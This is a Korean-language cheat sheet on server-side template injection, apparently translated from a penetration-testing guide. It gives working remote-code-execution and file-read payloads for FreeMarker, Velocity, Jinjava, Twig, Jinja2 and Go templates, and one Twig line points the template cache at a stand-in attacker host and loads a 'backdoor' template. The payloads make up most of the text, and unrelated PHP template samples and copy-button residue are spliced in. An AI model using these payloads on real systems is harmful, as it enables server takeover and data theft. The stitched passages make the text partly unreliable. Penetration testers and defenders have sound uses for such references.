페이로드 {{bad-stuff-here}}가 name 매개변수에 삽입됩니다. 이 페이로드에는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작하여 서버를 제어할 수 있는 진자 템플릿 지시문이 포함될 수 있습니다.
서버 측 템플릿 삽입 취약점을 방지하려면, 개발자는 사용자 입력이 템플릿에 삽입되기 전에 적절히 살균화되고 유효성이 검사되도록 해야 합니다. 입력 유효성을 구현하고 컨텍스트에 맞는 이스케이핑 기술을 사용하면 이 취약점의 위험을 완화할 수 있습니다.
탐지
서버 측 템플릿 삽입 (SSTI)을 탐지하기 위해 먼저 템플릿 퍼징이 직관적인 방법입니다. 이는 템플릿에 특수 문자 시퀀스 (${{<%[%'"}}%\)를 삽입하고 일반 데이터와 이 특수 페이로드 간의 서버 응답의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:
코드 컨텍스트: 입력 매개변수를 변경하여 취약점을 확인합니다. 예를 들어 greeting을 http://vulnerable-website.com/?greeting=data.username에서 변경하여 서버 출력이 동적인지 고정인지 확인하고, greeting=data.username}}hello를 입력하면 사용자 이름이 반환됩니다.
식별 단계
템플릿 엔진을 식별하려면 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트해야 합니다. 오류를 일으키는 일반적인 페이로드에는 ${7/0}, {{7/0}}, <%= 7/0 %> 등이 포함됩니다. 수학 연산에 대한 서버 응답을 관찰하여 특정 템플릿 엔진을 파악할 수 있습니다.
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
Thymeleaf는 이러한 표현식이 특정 속성 내에 위치해야 합니다. 그러나 _표현식 인라인_은 다른 템플릿 위치에 대해 지원되며, [[...]] 또는 [(...)]와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 [[${7*7}]]와 같을 수 있습니다.
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않습니다. 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 템플릿을 동적으로 생성하기 위해 자체 TemplateResolver를 구현해야 하는데, 이는 일반적이지 않습니다.
또한 Thymeleaf는 _표현식 전처리_를 제공하며, 더블 언더스코어(__...__) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 설명된 대로 표현식을 구성하는 데 활용될 수 있습니다:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest"를 검색하여 Github의 Jinjava 프로젝트를 발견했습니다.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
표현 언어 (EL)는 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호 작용을 용이하게 하는 기본 기능입니다. 이 통신을 간소화하기 위해 EL은 여러 JavaEE 기술 전반에 걸쳐 널리 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
JavaServer Faces (JSF): EL을 사용하여 JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 동작에 바인딩합니다.
JavaServer Pages (JSP): JSP에서 데이터에 액세스하고 조작하기 위해 EL이 사용되며, 페이지 요소를 애플리케이션 데이터에 연결하는 작업을 쉽게 만듭니다.
Contexts and Dependency Injection for Java EE (CDI): EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호 작용을 허용하며, 더 일관된 애플리케이션 구조를 보장합니다.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate은 XML 태그를 사용하여 문서를 여러 부분으로 나누는 PHP 템플릿 엔진으로, 컴파일되지 않는다.
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Go의 템플릿 엔진에서는 사용 여부를 확인할 수 있는 특정한 payload로 수행할 수 있습니다:
{{ . }}: 데이터 구조 입력을 공개합니다. 예를 들어, Password 속성이 있는 객체가 전달되면, {{ .Password }}를 통해 노출될 수 있습니다.
{{printf "%s" "ssti" }}: 문자열 "ssti"를 표시하는 것을 기대합니다.
{{html "ssti"}}, {{js "ssti"}}: 이러한 payload는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. 추가적인 지시문은 Go 문서 여기에서 확인할 수 있습니다.
XSS Exploitation
text/template 패키지를 사용하면 XSS를 쉽게 삽입하여 공격할 수 있습니다. 반면, html/template 패키지는 이를 방지하기 위해 응답을 인코딩합니다 (예: {{"<script>alert(1)</script>"}}는 <script>alert(1)</script>로 결과가 나옵니다). 그러나 Go에서의 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet 코드 복사
RCE Exploitation
html/template과 text/template 간에 RCE 공격은 크게 다릅니다. text/template 모듈은 "call" 값을 사용하여 직접 모든 공개 함수를 호출할 수 있지만, html/template에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 여기 html/template 및 여기 text/template에서 확인할 수 있습니다.
Go에서의 SSTI를 통한 RCE를 위해 객체 메소드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 System 메소드가 명령을 실행하는 경우, {{ .System "ls" }}와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 액세스해야 합니다. 주어진 예제에서와 같이요.